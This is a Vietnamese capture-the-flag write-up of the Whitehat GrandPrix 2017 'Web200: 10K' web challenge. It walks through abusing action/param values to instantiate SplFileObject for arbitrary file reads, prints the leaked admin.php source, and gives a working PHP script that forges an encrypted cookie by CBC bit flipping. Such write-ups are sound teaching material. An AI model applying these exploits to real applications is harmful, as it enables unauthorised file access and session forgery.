Whitehat GrandPrix 2017 ( Web200: 10K )

Mấy ngày nay gặp bao nhiêu là chuyện, từ thọt game tới, fail đồ án, rồi “hack in the bus”…bla, bla, nay mới có thời gian chém gió tự kỉ. Cuộc sống này thật đáng buồn 😥
Trở về chủ đề chính, nay mình sẽ write up bài 10K trong Whitehat GrandPrix 2017 vừa qua 😦 .
Decription:
“`Flipping
Link: 10k.grandprix.whitehatvn.com
Backup: bak.10k.grandprix.whitehatvn.com“`

Tiếp cận:

Sau khi recon xong thì có một cái comment nhỏ trong admin.php cho mình password:

<!-- password:testtttt --!>

Thứ nhất, mình thấy một form upload, hình như là chỉ upload được ảnh thì phải.

Sau khi upload lên một file chuẩn theo đề thì nó sẽ hiện ra cái dòng này:


File name : /var/www/html/web03/images/7826d385de85848b6f9ce7bb301c8c56

File size : 71313 Bytes

MIME type : image/png

Image size : 846 x 547

còn nếu upload 1 file hình bị lỗi thì sẽ fail.
Từ đây, mình rút ra 1 kết luận rằng: “Cái này nó sài tools check ảnh chắc luôn”.
Sau khi google thì:
https://superuser.com/questions/275502/how-to-get-information-about-an-image-picture-from-the-linux-command-line
Với cái output như vậy, nó có thể là exiv2.
Mặt khác, nhìn những thông tin requests thì nó có 2 biến là action và param và nhảy lộn xộn như zuka vậy (trên GET và dưới POST) và không ngoại lệ với cả function upload.

Thứ 2: Mình thấy một trang admin, và có vẻ không có gì hot lắm ngoài cái cookie “data”. Và mình đoán, nó có thể sẽ là step2

Vector:

Từ đó, suy ra, mình có 3 khả năng tấn công:

  1. Sẽ có injection gì đó chỗ command sử dụng exiv2
  2. Sẽ có 1 CVE nào đó của exiv2
  3. Sẽ có thể fuzz được gì ở cái action và param

Case1: Tên file hầu như không gửi lên và file được gửi dạng base64, sau khi fuzzing với trình của mình thì fail toàn tập

Case2: Search hoài mình chỉ thấy 1 cái CVE-2017-6353 là có khả năng bị RCE nhưng khá là khó khai thác, với lại nó cũng cũ lắm rồi 😦

Case3: Fuzzing một hồi thì tự nhiên mình có cái này:

Có mùi XXE, exploit một hồi thì mình thấy nhiều payload entity không chạy được, nhớ lại cái này “SimpleXMLElemen” hình như rất giống cái object. Có thể code sẽ là:


$zuka = new $_REQUESTS['action']($_REQUESTS['param']);

echo $zuka;

Sau khi tìm một hồi list object php thì có cái này hay nè: “SplFileObject”, và đúng là nó hay thật.

OK mình có thể đọc được bất kì file nào, và chắc chắn file cần đọc sẽ là “admin.php” chứ còn gì nữa.

đọc coi:

<?php
include('config.php');
include('classes.php');

#ini_set('display_errors',1);
#error_reporting(E_ALL | E_STRICT);
$handler = new Session();
session_start();
if (isset($_SESSION['auth'])&&(isset($_COOKIE['settings'])) && ($_COOKIE['settings'] == true)) {
echo 'Welcome, TESTER!

';
$cnt = 0 ;
$files = scandir($config['root'].'/images');
$cnt = count($files);
echo 'Total images uploaded: '.$cnt.'

';
//echo 'Link uploaded:

';
//$file = fopen("link.txt", "r") or die("Unable to open file!");
//$link = fread($file,filesize("link.txt"));
//echo "</br>".$link."</br>";
//fclose($file);
#echo "</br>".$_COOKIE['settings']."</br>";
echo "<b>Admin puts S3cr333t here ...</b>";
if ($_COOKIE['settings']) {
$settings = decrypt(base64_decode($_COOKIE['settings']));
#$settings = implode('|',$settings) ;
#echo "Cookie".$settings."</br>";
if(strpos($settings,'S3cr333t') !== false){
echo ' Secret link: '.$config['secret'].'

';
}
}
echo '<a href="logout.php">Log out </a>';
exit();
}

$settings = array();
if (isset($_POST['password'])) {
if (md5($_POST['password']) === $config['password']) {
$_SESSION['auth'] = 1;
$settings = array(
'name' => $_POST['password'],
'sweeting' => ('nahnah ' . escapeshellarg("Hello {$_POST['password']}!")),
);
setcookie('settings', base64_encode(encrypt(serialize($settings))));
header('Location: admin.php');
} else {
echo '
<h1>Access denied</h1>
';
}
exit();
}
?>
<html>
<body>
<b>Enter password:</b>
<form action="admin.php" method="POST">
<input type="text" name="password">
<input type="submit" name="submit" value="GO">
</form>
<a href="logout.php">Log out</a>
<!-- password:testtttt --!>
</body>
</html>

Với kinh nghiệm của một người mù crypto như mình, thì chắc chắn cái này sẽ là một trò crypto (bit flipping).

setcookie('settings', base64_encode(encrypt(serialize($settings))));

Sau khi đọc hết source, thì mình vẫn prefer tìm file config.php hơn là làm crypto, và thế là mình đã đi vào limbo khá lâu. <- noob
Quyết định quăng source vào group dù rất sợ bị chửi 😥 , và sau 5 phút một trùm crypto đã last hit. Thật là ấm ức nếu không giải ra bài này.
Mục đích là chỉ cần chữ "S3cr333t" nằm trong plain text là được, chắc chắn là bit flipping rồi.
Sau khi đọc định nghĩa về Bit Flipping, mình tìm thấy một công thức xor:
enc[2] = chr(ord($enc[2]) ^ ord("8") ^ ord ("S"));
Với "8" là plaintext ban đầu, "S" là kí tự muốn thay thế, "enc[2]" là cipher
Sẽ biến "8" thành "S".
Triển khai xem thử:

<?php
define('MY_AES_KEY', "caigicungduochetluon");
function aes($data, $encrypt) {
    $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
    $iv = "zukano1ahihilalalala";
    mcrypt_generic_init($aes, MY_AES_KEY, $iv);
    return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);
}

define('MY_MAC_LEN', 40);

function encrypt($data) {
    return aes($data, true);
}

function decrypt($data) {
    $data = rtrim(aes($data, false), "\0");
    return $data;
}
$v = "a:2:{s:4:\"name\";s:8:\"testtttt\";s:8:\"sweeting\";s:25:\"nahnah 'Hello testtttt!'\";}";
echo "
<h1>before</h1>
$v";
$b = array();
$enc = array();
$enc = @encrypt($v);
$enc[2] =  chr(ord($enc[2]) ^ ord("8") ^ ord ("S"));
$enc[3] =  chr(ord($enc[3]) ^ ord(":") ^ ord ("3"));
$enc[4] =  chr(ord($enc[4]) ^ ord("\"") ^ ord ("c"));
$enc[5] =  chr(ord($enc[5]) ^ ord("t") ^ ord ("r"));
$enc[6] =  chr(ord($enc[6]) ^ ord("e") ^ ord ("3"));
$enc[7] =  chr(ord($enc[7]) ^ ord("s") ^ ord ("3"));
$enc[8] =  chr(ord($enc[8]) ^ ord("t") ^ ord ("3"));
$enc[9] =  chr(ord($enc[9]) ^ ord("t") ^ ord ("t"));

$b = @decrypt($enc);
echo "
<h1>After</h1>
$b";

if(strpos($b,"S3cr333t")!==false)
{
	echo "
<h1>Solved</h1>
";
	echo "pl: ".base64_encode($enc);
}
?>


Ơ được nè

Vậy là công thức đúng rồi, lấy enc của server về xor thôi.

wh
Flag: WH{10k$_10k$_10k$}

Advertisements